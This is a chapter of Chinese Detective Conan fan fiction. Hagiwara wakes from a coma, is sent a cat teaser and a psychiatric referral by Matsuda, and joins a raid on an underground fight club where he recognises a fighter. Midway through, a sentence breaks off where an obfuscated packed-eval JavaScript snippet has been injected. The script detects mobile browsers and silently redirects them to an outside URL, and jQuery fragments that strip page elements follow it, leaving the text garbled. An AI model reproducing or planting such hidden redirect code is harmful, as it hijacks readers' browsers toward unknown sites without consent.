意识像是沉在深海里,一点点上浮。消毒水的味道钻入鼻腔,耳边传来仪器规律的“滴滴”声。
橙黄色的阳光洒在眼皮上,带来一丝微痒的暖意。
萩原睫毛颤动着,终于掀开一条缝。
模糊的米白色天花板,映入茫然空洞的紫色瞳孔。
萩原眨了眨眼,视线逐渐清晰起来。
这是……病房?
记忆的碎片开始翻搅,震耳的爆炸、冲天的火光、小阵平嘶哑的吼声,然后是漫长无边的黑暗,以及……自己变成了一只猫?
萩原艰难地抬起手,指尖抵上突突作痛的太阳穴,用力按了按。
哈哈,太荒谬了,果然只是在做梦吧。
萩原缓缓撑起身,手臂因不适应而微微颤抖着,冷汗瞬间浸湿了额发。
如果让小阵平知道自己昏迷时做梦,不仅梦到自己是只猫,还天天贴贴蹭蹭舔伤口撒娇什么的,肯定会被笑死的吧!
他要把这件事永远、永远地烂在肚子里,带进棺材也绝对不会说出口!
萩原正窘得头皮发麻,“咔哒”一声,病房的门被推开了。
一个护工走了进来,手上拿着根逗猫棒。
萩原:…………
萩原:???
萩原呆呆地低头看了看自己修长的、骨节分明的人类手指,又抬头看看护工手里叮当作响的逗猫棒。
哈哈……果然我是还没醒吗……
萩原放弃挣扎,直挺挺地躺回去,抬起右手盖住了自己的眼睛。
然而下一秒,
“叮铃~”
细碎的铃铛声钻入他的耳中,逗猫棒上面的羽毛末梢轻轻地扫过他的耳廓,掀起的气流若有若无地搔刮着皮肤。
“这玩意儿到底为什么会在这里啊?!”
萩原研二终于忍不住,一个激灵猛地从病床上弹坐起来,震惊又崩溃地看着护工。
“妈耶——!!!”
护工比他还震惊,整个人吓得往后一蹦,手里的逗猫棒差点脱手飞出去。
他手指发颤地指着萩原研二,声音都变了调:
“你、你你你……你会说话?!你不是个哑巴吗?!”
萩原研二:“……?”
哑巴?
你在说我?
说我这个当年在警校联谊会上靠着一张嘴就把全场都逗得哈哈大笑、毕业后在爆处组也是人缘绝佳、公认的社交达人?!
他觉得要么是这护工认错了人,要么就是自己昏迷太久,这个世界连同他的基本人设都一起ooc了。
好在护工的职业素养让他自己很快缓过来,解释道:
“那个……松田警官,就是经常来看您的那位卷发警官,他特意叮嘱我们说,您因为受伤,语言功能暂时……嗯,受损比较严重,可能很长一段时间都无法开口说话,”
似乎是为了佐证自己的话,他还晃了晃手里那根色彩鲜艳的逗猫棒,脸上露出一个带着点讨好的小心翼翼的笑容:
“呃,松田警官还说……让我用这个,这样带您出去的时候能方便点,可以吸引您的注意力,免得您……乱跑或者不适应。”
“出去?”萩原蹙了蹙眉,“去哪儿?复健?还是做检查?”
护工摇着逗猫棒,小心翼翼地观察着他的神色:
“去……精、精神病院?”
萩原:“……哈?”
护工咽了口口水,声音压得更低,一副生怕刺激到他的样子:
“松田警官说,这是为了您好,毕竟您昏迷期间和醒来后的……一些表现,嗯,可能有点、有点需要专业医生的帮助……”
萩原:“……”
松——田——阵——平——!!
你给我滚出来!!!
三分钟后,松田阵平出现在了病房。
松田几乎是摔进来的,气息急促,额发凌乱不羁地翘着几缕,随着动作在额前晃动。
墨镜后的眼睛急急扫过病房,看到萩原后神情一顿:“……hagi?”
萩原看到他的表情瞬间反应过来,“难不成……”他的声音发紧,“……是真的?”
松田摆了摆手示意护工先出去。
护工如蒙大赦,几乎是同手同脚、屏着呼吸,飞快地挪出了病房,还轻轻带上了门。
“咔哒。”
病房里再次寂静下来。
松田阵平这才转回脸,重新看向萩原。
“1107爆炸案后,你昏迷了好久。”松田淡淡道,萩原看不清他墨镜后的神色。
“直到一周前,你突然对外界刺激有了反应,”松田顿了顿,似是在回想,“那之后的第二天,你就睁开了眼睛。”
萩原意识到什么,屏住了呼吸。
“但是,”松田的声音压低了些,“你醒来后……”
“但是我醒来后,表现不太对劲是么?”萩原抢过了话头,紧接道,“那是因为1107爆炸案之后我——”
哔————————
萩原研二猛地瞪大了眼。
世界像是骤然按下暂停键,一瞬间陷入了死寂的空白。
萩原徒劳地张了张口,却发现自己发不出任何声音。
——他被“禁言”了。
等到肩膀沉沉的触感将他的意识拉回时,萩原已然落了一身冷汗。
松田的手臂横过他颈后,松松搭在另一侧肩头:“……现在没事了就好,hagi。”
“嗡——嗡嗡——”
手机在裤兜疯狂震动,萩原示意松田先接电话。
松田看了萩原一眼,按下接听键。
“嗯……是我。”
“说。”
“……位置确认了?”
“……”
“……知道了,我们马上到。”
松田挂断电话,转过身看向萩原:“还是风待通车辆爆炸案的事……刚撬开今天逮捕那个杂碎的嘴,他们的炸弹来源是城西的地下拳场。”
“地下拳场?”
松田点点头:“搜查一课的人已经动身了,但现场情况不明,不排除那帮混蛋可能留了后手。”
“上面下令,调爆处组的人立刻支援,协助排查和处置可能的爆/炸/物。”松田顿了顿,看向萩原,“你……”
“我也去。”萩原斩钉截铁地开口,“我已经没事了。”
……不能再让你孤身一人了。
*
几盏残破的彩色射灯神经质地闪烁着,在裸露的水泥墙壁和地面上投下扭曲晃动的光斑。场地中央是用麻绳粗糙围起的方形擂台,上面溅染着深一块浅一块的、早已干涸发黑的污渍,分不清是汗是血。
松田叼着未点的烟,目光扫过污
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100384|194015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秽的拳场,“啧”了一声:“我先跟搜查一课去核心区摸底,你就在这附近看看有什么可疑点。”
萩原毕竟重伤刚愈,松田不想让他过多奔波。
他冲萩原比了个打电话的手势,“有事随时联络。”
萩原研二目送松田的背影消失在昏暗杂乱的深处,才缓缓收回了视线。
他轻轻叹了口气,有些苦于自己幼驯染应激后“过于保护”的态度,但还是转身开始沿着外围区域巡视。
靴底踩在潮湿黏腻的水泥地上,发出沉闷的轻响。污浊空气中混杂着霉味和劣质清洁剂的气息,散落的皮革拳套和缠手带被丢弃在地上,上面浸染着深褐色的、早已干涸发硬的血迹。
就在这时,两个穿着脏污工装、像是这里打杂的男人快步经过,破碎的话语落入了萩原的耳朵。
“……听说了吗?就刚才开场前那会儿,新来了个小子,看着年纪轻轻,细皮嫩肉的,啧啧……”
“能没看见吗?那小子,啧,看着年纪轻轻、细皮嫩肉的,跟个学生仔似的……”另一个更尖细的声音接话,语气里是毫不掩饰的惊叹,“没想到是个狠角色!你是没瞧见,‘豹子’阿隆,就那个胳膊比我大腿还粗的,上去没两下,被那小子一个近身绞技直接卸了胳膊,疼得嗷嗷叫,脸都白了!”
“何止啊!”沙哑声音压得更低,掩不住激动,“他兄弟‘黑狼’莽哥不服气,抄起旁边断了的椅子腿就上了,结果你猜怎么着?那小子躲得那叫一个快,反手夺了棍子,专敲膝盖和手肘关节,‘咔嚓’几下,莽哥那么大块头,直接躺地上爬不起来了!被人抬出去的!”
“嘶——这么猛?看着不像啊……”
“人不可貌相!下手黑着呢,又快又准,专挑要害,一看就是练家子,还不是野路子那种……你说,长那模样,下手这么毒,该不会是……”
“嘘——!闭嘴吧你!想死啊?”尖细声音突然紧张地打断,“照这势头,这人今晚不得被请去……了!那能是咱们谈的地方么!”
“少打听,多干活!这地方邪性,赶紧收拾完走人……”
两人的语速加快,脚步声也匆忙起来,交谈声很快消失在前方的黑暗中。
萩原身形蓦地顿住,冥冥之中有种难言的直觉,如同被无形的丝线牵引,牵引着他缓步往中央格斗场走去。
擂台被污浊的空气和癫狂的喝彩声包裹,上面一道白净的身影和一道黑褐的壮硕身影正在缠斗。
壮汉攻势凶猛,拳拳带风,招招皆是杀招。而那个肤色冷白、身形修长的年轻男人,动作干练而优雅,闲庭信步般在拳脚间隙游走,每一次出手都直奔要害。
“呃!”
一记精准的手刀劈在壮汉颈侧,壮汉动作一滞,庞大的身躯晃了晃。年轻人趁势切入,手肘猛击对方膝窝,同时脚下一绊。
壮汉闷哼一声,失去平衡,重重摔倒在擂台地板上,发出沉闷的撞击声,一时竟挣扎不起。
胜负已分。
下面的观众被这搏击场面刺激地兴奋不已,口哨声、掌声、喝彩声狂热不已,直刺耳膜。
年轻人收势站定,微微喘息。
汗湿的栗色头发贴在额前,他抬手,随意地将那缕头发向后撩去,
灯光落在他脸上。
萩原研二站在外围阴影里,瞳孔微缩。
是空蝉。